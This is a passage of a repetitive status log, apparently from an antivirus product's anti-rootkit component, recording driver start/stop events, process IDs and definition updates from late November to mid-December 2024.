24112606 2024-11-27 09:01:39 ARPOT2: Start 3964 2024-11-27 09:01:39 AR2CFG: 241125 2024-11-27 09:01:39 AR2DEV: Start 1 Driver: 210305 2024-11-27 09:01:39 AR2DEV: Stopped 1 2024-11-27 09:01:39 AVAVER: 21.2.2455 AR2: 241125 defs: 24112606 2024-11-27 09:01:39 ARPOT2: Start 2068 2024-11-27 09:01:39 AR2CFG: 241125 2024-11-27 09:01:39 AR2DEV: Start 1 Driver: 210305 2024-11-28 01:00:48 AVAVER: 21.2.2455 AR2: 241125 defs: 24112606 2024-11-28 01:00:48 ARPOT2: Start 1464 2024-11-28 01:00:48 AR2CFG: 241125 2024-11-28 01:00:48 AR2DEV: Start 1 Driver: 210305 2024-11-28 01:01:22 AR2DEV: Stopped 1 2024-11-28 01:01:22 AVAVER: 21.2.2455 AR2: 241125 defs: 24112702 2024-11-28 01:01:22 ARPOT2: Start 708 2024-11-28 01:01:22 AR2CFG: 241125 2024-11-28 01:01:22 AR2DEV: Start 1 Driver: 210305 2024-11-28 01:01:22 AR2DEV: Stopped 1 2024-11-28 01:01:22 AVAVER: 21.2.2455 AR2: 241125 defs: 24112702 2024-11-28 01:01:22 ARPOT2: Start 2748 2024-11-28 01:01:22 AR2CFG: 241125 2024-11-28 01:01:22 AR2DEV: Start 1 Driver: 210305 2024-11-28 05:02:38 AR2DEV: Stopped 1 2024-11-28 05:02:38 AVAVER: 21.2.2455 AR2: 241125 defs: 24112704 2024-11-28 05:02:38 ARPOT2: Start 2900 2024-11-28 05:02:38 AR2CFG: 241125 2024-11-28 05:02:38 AR2DEV: Start 1 Driver: 210305 2024-11-28 05:02:39 AR2DEV: Stopped 1 2024-11-28 05:02:39 AVAVER: 21.2.2455 AR2: 241125 defs: 24112704 2024-11-28 05:02:39 ARPOT2: Start 4400 2024-11-28 05:02:39 AR2CFG: 241125 2024-11-28 05:02:39 AR2DEV: Start 1 Driver: 210305 2024-11-28 09:03:30 AR2DEV: Stopped 1 2024-11-28 09:03:30 AVAVER: 21.2.2455 AR2: 241125 defs: 24112706 2024-11-28 09:03:30 ARPOT2: Start 1492 2024-11-28 09:03:30 AR2CFG: 241125 2024-11-28 09:03:30 AR2DEV: Start 1 Driver: 210305 2024-11-28 09:03:31 AR2DEV: Stopped 1 2024-11-28 09:03:31 AVAVER: 21.2.2455 AR2: 241125 defs: 24112706 2024-11-28 09:03:31 ARPOT2: Start 3732 2024-11-28 09:03:31 AR2CFG: 241125 2024-11-28 09:03:31 AR2DEV: Start 1 Driver: 210305 2024-11-28 17:04:28 AR2DEV: Stopped 1 2024-11-28 17:04:28 AVAVER: 21.2.2455 AR2: 241125 defs: 24112800 2024-11-28 17:04:28 ARPOT2: Start 4356 2024-11-28 17:04:28 AR2CFG: 241125 2024-11-28 17:04:28 AR2DEV: Start 1 Driver: 210305 2024-11-28 17:04:28 AR2DEV: Stopped 1 2024-11-28 17:04:28 AVAVER: 21.2.2455 AR2: 241125 defs: 24112800 2024-11-28 17:04:28 ARPOT2: Start 5984 2024-11-28 17:04:28 AR2CFG: 241125 2024-11-28 17:04:28 AR2DEV: Start 1 Driver: 210305 2024-11-29 01:01:50 AVAVER: 21.2.2455 AR2: 241125 defs: 24112800 2024-11-29 01:01:50 ARPOT2: Start 3108 2024-11-29 01:01:50 AR2CFG: 241125 2024-11-29 01:01:50 AR2DEV: Start 1 Driver: 210305 2024-11-29 01:02:21 AR2DEV: Stopped 1 2024-11-29 01:02:21 AVAVER: 21.2.2455 AR2: 241125 defs: 24112802 2024-11-29 01:02:21 ARPOT2: Start 5400 2024-11-29 01:02:21 AR2CFG: 241125 2024-11-29 01:02:21 AR2DEV: Start 1 Driver: 210305 2024-11-29 01:02:21 AR2DEV: Stopped 1 2024-11-29 01:02:21 AVAVER: 21.2.2455 AR2: 241125 defs: 24112802 2024-11-29 01:02:21 ARPOT2: Start 5308 2024-11-29 01:02:21 AR2CFG: 241125 2024-11-29 01:02:21 AR2DEV: Start 1 Driver: 210305 2024-11-29 05:03:27 AR2DEV: Stopped 1 2024-11-29 05:03:27 AVAVER: 21.2.2455 AR2: 241125 defs: 24112804 2024-11-29 05:03:27 ARPOT2: Start 3292 2024-11-29 05:03:27 AR2CFG: 241125 2024-11-29 05:03:27 AR2DEV: Start 1 Driver: 210305 2024-11-29 05:03:28 AR2DEV: Stopped 1 2024-11-29 05:03:28 AVAVER: 21.2.2455 AR2: 241125 defs: 24112804 2024-11-29 05:03:28 ARPOT2: Start 5300 2024-11-29 05:03:28 AR2CFG: 241125 2024-11-29 05:03:28 AR2DEV: Start 1 Driver: 210305 2024-11-29 21:05:06 AR2DEV: Stopped 1 2024-11-29 21:05:06 AVAVER: 21.2.2455 AR2: 241125 defs: 24112910 2024-11-29 21:05:06 ARPOT2: Start 2132 2024-11-29 21:05:06 AR2CFG: 241125 2024-11-29 21:05:06 AR2DEV: Start 1 Driver: 210305 2024-11-29 21:05:07 AR2DEV: Stopped 1 2024-11-29 21:05:07 AVAVER: 21.2.2455 AR2: 241125 defs: 24112910 2024-11-29 21:05:07 ARPOT2: Start 3812 2024-11-29 21:05:07 AR2CFG: 241125 2024-11-29 21:05:07 AR2DEV: Start 1 Driver: 210305 2024-11-30 01:03:08 AVAVER: 21.2.2455 AR2: 241125 defs: 24112910 2024-11-30 01:03:08 ARPOT2: Start 5832 2024-11-30 01:03:08 AR2CFG: 241125 2024-11-30 01:03:08 AR2DEV: Start 1 Driver: 210305 2024-11-30 05:03:49 AR2DEV: Stopped 1 2024-11-30 05:03:49 AVAVER: 21.2.2455 AR2: 241125 defs: 24112918 2024-11-30 05:03:49 ARPOT2: Start 5880 2024-11-30 05:03:49 AR2CFG: 241125 2024-11-30 05:03:49 AR2DEV: Start 1 Driver: 210305 2024-11-30 05:03:49 AR2DEV: Stopped 1 2024-11-30 05:03:49 AVAVER: 21.2.2455 AR2: 241125 defs: 24112918 2024-11-30 05:03:49 ARPOT2: Start 5208 2024-11-30 05:03:49 AR2CFG: 241125 2024-11-30 05:03:49 AR2DEV: Start 1 Driver: 210305 2024-11-30 17:04:54 AR2DEV: Stopped 1 2024-11-30 17:04:54 AVAVER: 21.2.2455 AR2: 241125 defs: 24113000 2024-11-30 17:04:54 ARPOT2: Start 736 2024-11-30 17:04:54 AR2CFG: 241125 2024-11-30 17:04:54 AR2DEV: Start 1 Driver: 210305 2024-11-30 17:04:54 AR2DEV: Stopped 1 2024-11-30 17:04:54 AVAVER: 21.2.2455 AR2: 241125 defs: 24113000 2024-11-30 17:04:54 ARPOT2: Start 3996 2024-11-30 17:04:54 AR2CFG: 241125 2024-11-30 17:04:54 AR2DEV: Start 1 Driver: 210305 2024-11-30 20:35:20 AVAVER: 21.2.2455 AR2: 241125 defs: 24113000 2024-11-30 20:35:20 ARPOT2: Start 3840 2024-11-30 20:35:20 AR2CFG: 241125 2024-11-30 20:35:20 AR2DEV: Start 1 Driver: 210305 2024-11-30 20:35:47 AR2DEV: Stopped 1 2024-11-30 20:35:47 AVAVER: 21.2.2455 AR2: 241125 defs: 24113002 2024-11-30 20:35:47 ARPOT2: Start 6704 2024-11-30 20:35:47 AR2CFG: 241125 2024-11-30 20:35:47 AR2DEV: Start 1 Driver: 210305 2024-11-30 20:35:47 AR2DEV: Stopped 1 2024-11-30 20:35:47 AVAVER: 21.2.2455 AR2: 241125 defs: 24113002 2024-11-30 20:35:47 ARPOT2: Start 6740 2024-11-30 20:35:47 AR2CFG: 241125 2024-11-30 20:35:47 AR2DEV: Start 1 Driver: 210305 2024-12-01 01:07:03 AVAVER: 21.2.2455 AR2: 241125 defs: 24113002 2024-12-01 01:07:03 ARPOT2: Start 6216 2024-12-01 01:07:03 AR2CFG: 241125 2024-12-01 01:07:03 AR2DEV: Start 1 Driver: 210305 2024-12-01 05:08:01 AR2DEV: Stopped 1 2024-12-01 05:08:01 AVAVER: 21.2.2455 AR2: 241125 defs: 24113004 2024-12-01 05:08:01 ARPOT2: Start 6648 2024-12-01 05:08:01 AR2CFG: 241125 2024-12-01 05:08:01 AR2DEV: Start 1 Driver: 210305 2024-12-01 05:08:01 AR2DEV: Stopped 1 2024-12-01 05:08:01 AVAVER: 21.2.2455 AR2: 241125 defs: 24113004 2024-12-01 05:08:01 ARPOT2: Start 3616 2024-12-01 05:08:02 AR2CFG: 241125 2024-12-01 05:08:02 AR2DEV: Start 1 Driver: 210305 2024-12-01 17:09:17 AR2DEV: Stopped 1 2024-12-01 17:09:17 AVAVER: 21.2.2455 AR2: 241125 defs: 24120100 2024-12-01 17:09:17 ARPOT2: Start 6288 2024-12-01 17:09:17 AR2CFG: 241125 2024-12-01 17:09:17 AR2DEV: Start 1 Driver: 210305 2024-12-01 17:09:17 AR2DEV: Stopped 1 2024-12-01 17:09:17 AVAVER: 21.2.2455 AR2: 241125 defs: 24120100 2024-12-01 17:09:17 ARPOT2: Start 4044 2024-12-01 17:09:17 AR2CFG: 241125 2024-12-01 17:09:17 AR2DEV: Start 1 Driver: 210305 2024-12-01 21:10:22 AR2DEV: Stopped 1 2024-12-01 21:10:23 AVAVER: 21.2.2455 AR2: 241125 defs: 24120102 2024-12-01 21:10:23 ARPOT2: Start 7048 2024-12-01 21:10:23 AR2CFG: 241125 2024-12-01 21:10:23 AR2DEV: Start 1 Driver: 210305 2024-12-01 21:10:23 AR2DEV: Stopped 1 2024-12-01 21:10:23 AVAVER: 21.2.2455 AR2: 241125 defs: 24120102 2024-12-01 21:10:23 ARPOT2: Start 6908 2024-12-01 21:10:23 AR2CFG: 241125 2024-12-01 21:10:23 AR2DEV: Start 1 Driver: 210305 2024-12-02 01:07:59 AVAVER: 21.2.2455 AR2: 241125 defs: 24120102 2024-12-02 01:07:59 ARPOT2: Start 5464 2024-12-02 01:07:59 AR2CFG: 241125 2024-12-02 01:07:59 AR2DEV: Start 1 Driver: 210305 2024-12-02 01:08:37 AR2DEV: Stopped 1 2024-12-02 01:08:37 AVAVER: 21.2.2455 AR2: 241125 defs: 24120104 2024-12-02 01:08:37 ARPOT2: Start 3616 2024-12-02 01:08:38 AR2CFG: 241125 2024-12-02 01:08:38 AR2DEV: Start 1 Driver: 210305 2024-12-02 01:08:38 AR2DEV: Stopped 1 2024-12-02 01:08:38 AVAVER: 21.2.2455 AR2: 241125 defs: 24120104 2024-12-02 01:08:38 ARPOT2: Start 2604 2024-12-02 01:08:38 AR2CFG: 241125 2024-12-02 01:08:38 AR2DEV: Start 1 Driver: 210305 2024-12-02 21:10:09 AR2DEV: Stopped 1 2024-12-02 21:10:09 AVAVER: 21.2.2455 AR2: 241125 defs: 24120202 2024-12-02 21:10:09 ARPOT2: Start 2428 2024-12-02 21:10:09 AR2CFG: 241125 2024-12-02 21:10:09 AR2DEV: Start 1 Driver: 210305 2024-12-02 21:10:09 AR2DEV: Stopped 1 2024-12-02 21:10:09 AVAVER: 21.2.2455 AR2: 241125 defs: 24120202 2024-12-02 21:10:09 ARPOT2: Start 6044 2024-12-02 21:10:09 AR2CFG: 241125 2024-12-02 21:10:09 AR2DEV: Start 1 Driver: 210305 2024-12-03 01:09:08 AVAVER: 21.2.2455 AR2: 241125 defs: 24120202 2024-12-03 01:09:08 ARPOT2: Start 6704 2024-12-03 01:09:08 AR2CFG: 241125 2024-12-03 01:09:08 AR2DEV: Start 1 Driver: 210305 2024-12-03 01:09:37 AR2DEV: Stopped 1 2024-12-03 01:09:37 AVAVER: 21.2.2455 AR2: 241125 defs: 24120204 2024-12-03 01:09:37 ARPOT2: Start 4128 2024-12-03 01:09:37 AR2CFG: 241125 2024-12-03 01:09:37 AR2DEV: Start 1 Driver: 210305 2024-12-03 01:09:38 AR2DEV: Stopped 1 2024-12-03 01:09:38 AVAVER: 21.2.2455 AR2: 241125 defs: 24120204 2024-12-03 01:09:38 ARPOT2: Start 2252 2024-12-03 01:09:38 AR2CFG: 241125 2024-12-03 01:09:38 AR2DEV: Start 1 Driver: 210305 2024-12-03 21:11:17 AR2DEV: Stopped 1 2024-12-03 21:11:17 AVAVER: 21.2.2455 AR2: 241126 defs: 24120304 2024-12-03 21:11:17 ARPOT2: Start 2684 2024-12-03 21:11:17 AR2CFG: 241125 2024-12-03 21:11:17 AR2DEV: Start 1 Driver: 210305 2024-12-03 21:11:18 AR2DEV: Stopped 1 2024-12-03 21:11:18 AVAVER: 21.2.2455 AR2: 241126 defs: 24120304 2024-12-03 21:11:18 ARPOT2: Start 3424 2024-12-03 21:11:18 AR2CFG: 241125 2024-12-03 21:11:18 AR2DEV: Start 1 Driver: 210305 2024-12-04 01:10:22 AVAVER: 21.2.2455 AR2: 241126 defs: 24120304 2024-12-04 01:10:22 ARPOT2: Start 5828 2024-12-04 01:10:22 AR2CFG: 241125 2024-12-04 01:10:22 AR2DEV: Start 1 Driver: 210305 2024-12-04 05:10:56 AR2DEV: Stopped 1 2024-12-04 05:10:56 AVAVER: 21.2.2455 AR2: 241126 defs: 24120306 2024-12-04 05:10:56 ARPOT2: Start 3616 2024-12-04 05:10:56 AR2CFG: 241125 2024-12-04 05:10:56 AR2DEV: Start 1 Driver: 210305 2024-12-04 05:10:57 AR2DEV: Stopped 1 2024-12-04 05:10:57 AVAVER: 21.2.2455 AR2: 241126 defs: 24120306 2024-12-04 05:10:57 ARPOT2: Start 3424 2024-12-04 05:10:57 AR2CFG: 241125 2024-12-04 05:10:57 AR2DEV: Start 1 Driver: 210305 2024-12-04 17:12:02 AR2DEV: Stopped 1 2024-12-04 17:12:02 AVAVER: 21.2.2455 AR2: 241126 defs: 24120400 2024-12-04 17:12:02 ARPOT2: Start 6736 2024-12-04 17:12:02 AR2CFG: 241125 2024-12-04 17:12:02 AR2DEV: Start 1 Driver: 210305 2024-12-04 17:12:03 AR2DEV: Stopped 1 2024-12-04 17:12:03 AVAVER: 21.2.2455 AR2: 241126 defs: 24120400 2024-12-04 17:12:03 ARPOT2: Start 1464 2024-12-04 17:12:03 AR2CFG: 241125 2024-12-04 17:12:03 AR2DEV: Start 1 Driver: 210305 2024-12-04 21:12:55 AR2DEV: Stopped 1 2024-12-04 21:12:55 AVAVER: 21.2.2455 AR2: 241126 defs: 24120402 2024-12-04 21:12:55 ARPOT2: Start 6584 2024-12-04 21:12:55 AR2CFG: 241125 2024-12-04 21:12:55 AR2DEV: Start 1 Driver: 210305 2024-12-04 21:12:55 AR2DEV: Stopped 1 2024-12-04 21:12:55 AVAVER: 21.2.2455 AR2: 241126 defs: 24120402 2024-12-04 21:12:55 ARPOT2: Start 6688 2024-12-04 21:12:55 AR2CFG: 241125 2024-12-04 21:12:55 AR2DEV: Start 1 Driver: 210305 2024-12-05 01:11:29 AVAVER: 21.2.2455 AR2: 241126 defs: 24120402 2024-12-05 01:11:29 ARPOT2: Start 7116 2024-12-05 01:11:29 AR2CFG: 241125 2024-12-05 01:11:29 AR2DEV: Start 1 Driver: 210305 2024-12-06 01:15:11 AVAVER: 21.2.2455 AR2: 241126 defs: 24120402 2024-12-06 01:15:11 ARPOT2: Start 6844 2024-12-06 01:15:11 AR2CFG: 241125 2024-12-06 01:15:11 AR2DEV: Start 1 Driver: 210305 2024-12-06 01:15:48 AR2DEV: Stopped 1 2024-12-06 01:15:48 AVAVER: 21.2.2455 AR2: 241126 defs: 24120504 2024-12-06 01:15:48 ARPOT2: Start 2732 2024-12-06 01:15:48 AR2CFG: 241125 2024-12-06 01:15:48 AR2DEV: Start 1 Driver: 210305 2024-12-06 01:15:48 AR2DEV: Stopped 1 2024-12-06 01:15:48 AVAVER: 21.2.2455 AR2: 241126 defs: 24120504 2024-12-06 01:15:48 ARPOT2: Start 6320 2024-12-06 01:15:48 AR2CFG: 241125 2024-12-06 01:15:48 AR2DEV: Start 1 Driver: 210305 2024-12-07 01:16:22 AVAVER: 21.2.2455 AR2: 241126 defs: 24120504 2024-12-07 01:16:22 ARPOT2: Start 4332 2024-12-07 01:16:22 AR2CFG: 241125 2024-12-07 01:16:22 AR2DEV: Start 1 Driver: 210305 2024-12-08 01:20:54 AVAVER: 21.2.2455 AR2: 241126 defs: 24120504 2024-12-08 01:20:54 ARPOT2: Start 5468 2024-12-08 01:20:54 AR2CFG: 241125 2024-12-08 01:20:54 AR2DEV: Start 1 Driver: 210305 2024-12-09 01:25:10 AVAVER: 21.2.2455 AR2: 241126 defs: 24120504 2024-12-09 01:25:10 ARPOT2: Start 6504 2024-12-09 01:25:10 AR2CFG: 241125 2024-12-09 01:25:10 AR2DEV: Start 1 Driver: 210305 2024-12-09 01:59:56 AR2DEV: Stopped 1 2024-12-09 02:01:10 AVAVER: 21.2.2455 AR2: 241126 defs: 24120504 2024-12-09 02:01:10 ARPOT2: Start 3068 2024-12-09 02:02:42 AVAVER: 21.2.2455 AR2: 241126 defs: 24120802 2024-12-09 02:02:42 ARPOT2: Start 4196 2024-12-09 02:02:43 AVAVER: 21.2.2455 AR2: 241126 defs: 24120802 2024-12-09 02:02:43 ARPOT2: Start 5072 2024-12-09 02:10:12 AR2CFG: 241125 2024-12-09 02:10:12 AR2DEV: Start 1 Driver: 210305 2024-12-09 06:05:05 AR2DEV: Stopped 1 2024-12-09 06:05:05 AVAVER: 21.2.2455 AR2: 241126 defs: 24120804 2024-12-09 06:05:05 ARPOT2: Start 1512 2024-12-09 06:05:05 AR2CFG: 241125 2024-12-09 06:05:05 AR2DEV: Start 1 Driver: 210305 2024-12-09 06:05:05 AR2DEV: Stopped 1 2024-12-09 06:05:05 AVAVER: 21.2.2455 AR2: 241126 defs: 24120804 2024-12-09 06:05:05 ARPOT2: Start 4628 2024-12-09 06:05:05 AR2CFG: 241125 2024-12-09 06:05:05 AR2DEV: Start 1 Driver: 210305 2024-12-09 14:05:59 AR2DEV: Stopped 1 2024-12-09 14:05:59 AVAVER: 21.2.2455 AR2: 241126 defs: 24120900 2024-12-09 14:05:59 ARPOT2: Start 5980 2024-12-09 14:06:00 AR2CFG: 241125 2024-12-09 14:06:00 AR2DEV: Start 1 Driver: 210305 2024-12-09 14:06:00 AR2DEV: Stopped 1 2024-12-09 14:06:00 AVAVER: 21.2.2455 AR2: 241126 defs: 24120900 2024-12-09 14:06:00 ARPOT2: Start 5920 2024-12-09 14:06:00 AR2CFG: 241125 2024-12-09 14:06:00 AR2DEV: Start 1 Driver: 210305 2024-12-09 22:07:07 AR2DEV: Stopped 1 2024-12-09 22:07:07 AVAVER: 21.2.2455 AR2: 241126 defs: 24120902 2024-12-09 22:07:07 ARPOT2: Start 5508 2024-12-09 22:07:07 AR2CFG: 241125 2024-12-09 22:07:07 AR2DEV: Start 1 Driver: 210305 2024-12-09 22:07:07 AR2DEV: Stopped 1 2024-12-09 22:07:07 AVAVER: 21.2.2455 AR2: 241126 defs: 24120902 2024-12-09 22:07:07 ARPOT2: Start 5480 2024-12-09 22:07:07 AR2CFG: 241125 2024-12-09 22:07:08 AR2DEV: Start 1 Driver: 210305 2024-12-10 01:22:08 AVAVER: 21.2.2455 AR2: 241126 defs: 24120902 2024-12-10 01:22:09 ARPOT2: Start 4964 2024-12-10 01:22:09 AR2CFG: 241125 2024-12-10 01:22:09 AR2DEV: Start 1 Driver: 210305 2024-12-10 01:22:45 AR2DEV: Stopped 1 2024-12-10 01:22:45 AVAVER: 21.2.2455 AR2: 241126 defs: 24120906 2024-12-10 01:22:45 ARPOT2: Start 5052 2024-12-10 01:22:45 AR2CFG: 241125 2024-12-10 01:22:45 AR2DEV: Start 1 Driver: 210305 2024-12-10 01:22:45 AR2DEV: Stopped 1 2024-12-10 01:22:45 AVAVER: 21.2.2455 AR2: 241126 defs: 24120906 2024-12-10 01:22:45 ARPOT2: Start 2452 2024-12-10 01:22:45 AR2CFG: 241125 2024-12-10 01:22:45 AR2DEV: Start 1 Driver: 210305 2024-12-11 01:24:41 AR2DEV: Stopped 1 2024-12-11 01:24:41 AVAVER: 21.2.2455 AR2: 241126 defs: 24121002 2024-12-11 01:24:41 ARPOT2: Start 5280 2024-12-11 01:24:41 AR2CFG: 241125 2024-12-11 01:24:41 AR2DEV: Start 1 Driver: 210305 2024-12-11 01:24:42 AR2DEV: Stopped 1 2024-12-11 01:24:42 AVAVER: 21.2.2455 AR2: 241126 defs: 24121002 2024-12-11 01:24:42 ARPOT2: Start 5564 2024-12-11 01:24:42 AR2CFG: 241125 2024-12-11 01:24:42 AR2DEV: Start 1 Driver: 210305 2024-12-11 05:25:40 AR2DEV: Stopped 1 2024-12-11 05:25:40 AVAVER: 21.2.2455 AR2: 241126 defs: 24121004 2024-12-11 05:25:40 ARPOT2: Start 1576 2024-12-11 05:25:40 AR2CFG: 241125 2024-12-11 05:25:40 AR2DEV: Start 1 Driver: 210305 2024-12-11 05:25:41 AR2DEV: Stopped 1 2024-12-11 05:25:41 AVAVER: 21.2.2455 AR2: 241126 defs: 24121004 2024-12-11 05:25:41 ARPOT2: Start 3640 2024-12-11 05:25:41 AR2CFG: 241125 2024-12-11 05:25:41 AR2DEV: Start 1 Driver: 210305 2024-12-11 17:26:53 AR2DEV: Stopped 1 2024-12-11 17:26:53 AVAVER: 21.2.2455 AR2: 241126 defs: 24121100 2024-12-11 17:26:53 ARPOT2: Start 2288 2024-12-11 17:26:53 AR2CFG: 241125 2024-12-11 17:26:53 AR2DEV: Start 1 Driver: 210305 2024-12-11 17:26:53 AR2DEV: Stopped 1 2024-12-11 17:26:53 AVAVER: 21.2.2455 AR2: 241126 defs: 24121100 2024-12-11 17:26:53 ARPOT2: Start 6008 2024-12-11 17:26:53 AR2CFG: 241125 2024-12-11 17:26:53 AR2DEV: Start 1 Driver: 210305 2024-12-12 05:27:55 AR2DEV: Stopped 1 2024-12-12 05:27:55 AVAVER: 21.2.2455 AR2: 241126 defs: 24121106 2024-12-12 05:27:55 ARPOT2: Start 5980 2024-12-12 05:27:55 AR2CFG: 241125 2024-12-12 05:27:56 AR2DEV: Start 1 Driver: 210305 2024-12-12 05:27:56 AR2DEV: Stopped 1 2024-12-12 05:27:56 AVAVER: 21.2.2455 AR2: 241126 defs: 24121106 2024-12-12 05:27:56 ARPOT2: Start 3684 2024-12-12 05:27:56 AR2CFG: 241125 2024-12-12 05:27:56 AR2DEV: Start 1 Driver: 210305 2024-12-12 17:28:59 AR2DEV: Stopped 1 2024-12-12 17:28:59 AVAVER: 21.2.2455 AR2: 241126 defs: 24121200 2024-12-12 17:28:59 ARPOT2: Start 4876 2024-12-12 17:28:59 AR2CFG: 241125 2024-12-12 17:28:59 AR2DEV: Start 1 Driver: 210305 2024-12-12 17:28:59 AR2DEV: Stopped 1 2024-12-12 17:29:00 AVAVER: 21.2.2455 AR2: 241126 defs: 24121200 2024-12-12 17:29:00 ARPOT2: Start 3716 2024-12-12 17:29:00 AR2CFG: 241125 2024-12-12 17:29:00 AR2DEV: Start 1 Driver: 210305 2024-12-13 21:30:36 AR2DEV: Stopped 1 2024-12-13 21:30:36 AVAVER: 21.2.2455 AR2: 241126 defs: 24121304 2024-12-13 21:30:36 ARPOT2: Start 6108 2024-12-13 21:30:36 AR2CFG: 241125 2024-12-13 21:30:36 AR2DEV: Start 1 Driver: 210305 2024-12-13 21:30:36 AR2DEV: Stopped 1 2024-12-13 21:30:36 AVAVER: 21.2.2455 AR2: 241126 defs: 24121304 2024-12-13 21:30:36 ARPOT2: Start 3740 2024-12-13 21:30:36 AR2CFG: 241125 2024-12-13 21:30:36 AR2DEV: Start 1 Driver: 210305 2024-12-14 01:31:35 AR2DEV: Stopped 1 2024-12-14 01:31:35 AVAVER: 21.2.2455 AR2: 241126 defs: 24121306 2024-12-14 01:31:35 ARPOT2: Start 1128 2024-12-14 01:31:35 AR2CFG: 241125 2024-12-14 01:31:35 AR2DEV: Start 1 Driver: 210305 2024-12-14 01:31:35 AR2DEV: Stopped 1 2024-12-14 01:31:35 AVAVER: 21.2.2455 AR2: 241126 defs: 24121306 2024-12-14 01:31:35 ARPOT2: Start 6096 2024-12-14 01:31:35 AR2CFG: 241125 2024-12-14 01:31:35 AR2DEV: Start 1 Driver: 210305 2024-12-14 05:32:39 AR2DEV: Stopped 1 2024-12-14 05:32:39 AVAVER: 21.2.2455 AR2: 241126 defs: 24121308 2024-12-14 05:32:39 ARPOT2: Start 1352 2024-12-14 05:32:39 AR2CFG: 241125 2024-12-14 05:32:39 AR2DEV: Start 1 Driver: 210305 2024-12-14 05:32:39 AR2DEV: Stopped 1 2024-12-14 05:32:39 AVAVER: 21.2.2455 AR2: 241126 defs: 24121308 2024-12-14 05:32:39 ARPOT2: Start 2704 2024-12-14 05:32:39 AR2CFG: 241125 2024-12-14 05:32:39 AR2DEV: Start 1 Driver: 210305 2024-12-14 09:33:28 AR2DEV: Stopped 1 2024-12-14 09:33:28 AVAVER: 21.2.2455 AR2: 241126 defs: 24121310 2024-12-14 09:33:28 ARPOT2: Start 4164 2024-12-14 09:33:28 AR2CFG: 241125 2024-12-14 09:33:28 AR2DEV: Start 1 Driver: 210305 2024-12-14 09:33:28 AR2DEV: Stopped 1 2024-12-14 09:33:28 AVAVER: 21.2.2455 AR2: 241126 defs: 24121310 2024-12-14 09:33:28 ARPOT2: Start 5492 2024-12-14 09:33:28 AR2CFG: 241125 2024-12-14 09:33:28 AR2DEV: Start 1 Driver: 210305 2024-12-14 21:34:46 AR2DEV: Stopped 1 2024-12-14 21:34:46 AVAVER: 21.2.2455 AR2: 241126 defs: 24121404 2024-12-14 21:34:46 ARPOT2: Start 1344 2024-12-14 21:34:46 AR2CFG: 241125 2024-12-14 21:34:46 AR2DEV: Start 1 Driver: 210305 2024-12-14 21:34:46 AR2DEV: Stopped 1 2024-12-14 21:34:46 AVAVER: 21.2.2455 AR2: 241126 defs: 24121404 2024-12-14 21:34:46 ARPOT2: Start 1248 2024-12-14 21:34:46 AR2CFG: 241125 2024-12-14 21:34:46 AR2DEV: Start 1 Driver: 210305 2024-12-15 01:35:42 AR2DEV: Stopped 1 2024-12-15 01:35:42 AVAVER: 21.2.2455 AR2: 241126 defs: 24121406 2024-12-15 01:35:42 ARPOT2: Start 5072 2024-12-15 01:35:42 AR2CFG: 241125 2024-12-15 01:35:42 AR2DEV: Start 1 Driver: 210305 2024-12-15 01:35:43 AR2DEV: Stopped 1 2024-12-15 01:35:43 AVAVER: 21.2.2455 AR2: 241126 defs: 24121406 2024-12-15 01:35:43 ARPOT2: Start 2244 2024-12-15 01:35:43 AR2CFG: 241125 2024-12-15 01:35:43 AR2DEV: Start 1 Driver: 210305 2024-12-15 05:36:35 AR2DEV: Stopped 1 2024-12-15 05:36:35 AVAVER: 21.2.2455 AR2: 241126 defs: 24121408 2024-12-15 05:36:35 ARPOT2: Start 5916 2024-12-15 05:36:35 AR2CFG: 241125 2024-12-15 05:36:35 AR2DEV: Start 1 Driver: 210305 2024-12-15 05:36:35 AR2DEV: Stopped 1 2024-12-15 05:36:35 AVAVER: 21.2.2455 AR2: 241126 defs: 24121408 2024-12-15 05:36:35 ARPOT2: Start 3780 2024-12-15 05:36:35 AR2CFG: 241125 2024-12-15 05:36:35 AR2DEV: Start 1 Driver: 210305 2024-12-15 13:37:30 AR2DEV: Stopped 1 2024-12-15 13:37:30 AVAVER: 21.2.2455 AR2: 241126 defs: 24121500 2024-12-15 13:37:30 ARPOT2: Start 780 2024-12-15 13:37:30 AR2CFG: 241125 2024-12-15 13:37:30 AR2DEV: Start 1 Driver: 210305 2024-12-15 13:37:31 AR2DEV: Stopped 1 2024-12-15 13:37:31 AVAVER: 21.2.2455 AR2: 241126 defs: 24121500 2024-12-15 13:37:31 ARPOT2: Start 3888 2024-12-15 13:37:31 AR2CFG: 241125 2024-12-15 13:37:31 AR2DEV: Start 1 Driver: 210305 2024-12-15 21:38:38 AR2DEV: Stopped 1 2024-12-15 21:38:39 AVAVER: 21.2.2455 AR2: 241126 defs: 24121502 2024-12-15 21:38:39 ARPOT2: Start 4356 2024-12-15 21:38:39 AR2CFG: 241125 2024-12-15 21:38:39 AR2DEV: Start 1 Driver: 210305 2024-12-15 21:38:39 AR2DEV: Stopped 1 2024-12-15 21:38:39 AVAVER: 21.2.2455 AR2: 241126 defs: 24121502 2024-12-15 21:38:39 ARPOT2: Start 3580 2024-12-15 21:38:39 AR2CFG: 241125 2024-12-15 21:38:39 AR2DEV: Start 1 Driver: 210305 2024-12-16 01:39:31 AR2DEV: Stopped 1 2024-12-16 01:39:31 AVAVER: 21.2.2455 AR2: 241126 defs: 24121504 2024-12-16 01:39:31 ARPOT2: Start 5896 2024-12-16 01:39:31 AR2CFG: 241125 2024-12-16 01:39:31 AR2DEV: Start 1 Driver: 210305 2024-12-16 01:39:31 AR2DEV: Stopped 1 2024-12-16 01:39:31 AVAVER: 21.2.2455 AR2: 241126 defs: 24121504 2024-12-16 01:39:31 ARPOT2: Start 5148 2024-12-16 01:39:31 AR2CFG: 241125 2024-12-16 01:39:31 AR2DEV: Start 1 Driver: 210305 2024-12-16 05:40:23 AR2DEV: Stopped 1 2024-12-16 05:40:23 AVAVER: 21.2.2455 AR2: 241126 defs: 24121506 2024-12-16 05:40:23 ARPOT2: Start 2608 2024-12-16 05:40:23 AR2CFG: 241125 2024-12-16 05:40:23 AR2DEV: Start 1 Driver: 210305 2024-12-16 05:40:24 AR2DEV: Stopped 1 2024-12-16 05:40:24 AVAVER: 21.2.2455 AR2: 241126 defs: 24121506 2024-12-16 05:40:24 ARPOT2: Start 4596 2024-12-16 05:40:24 AR2CFG: 241125 2024-12-16 05:40:24 AR2DEV: Start 1 Driver: 210305 2024-12-16 13:41:31 AR2DEV: Stopped 1 2024-12-16 13:41:31 AVAVER: 21.2.2455 AR2: 241126 defs: 24121600 2024-12-16 13:41:31 ARPOT2: Start 4520 2024-12-16 13:41:31 AR2CFG: 241125 2024-12-16 13:41:31 AR2DEV: Start 1 Driver: 210305 2024-12-16 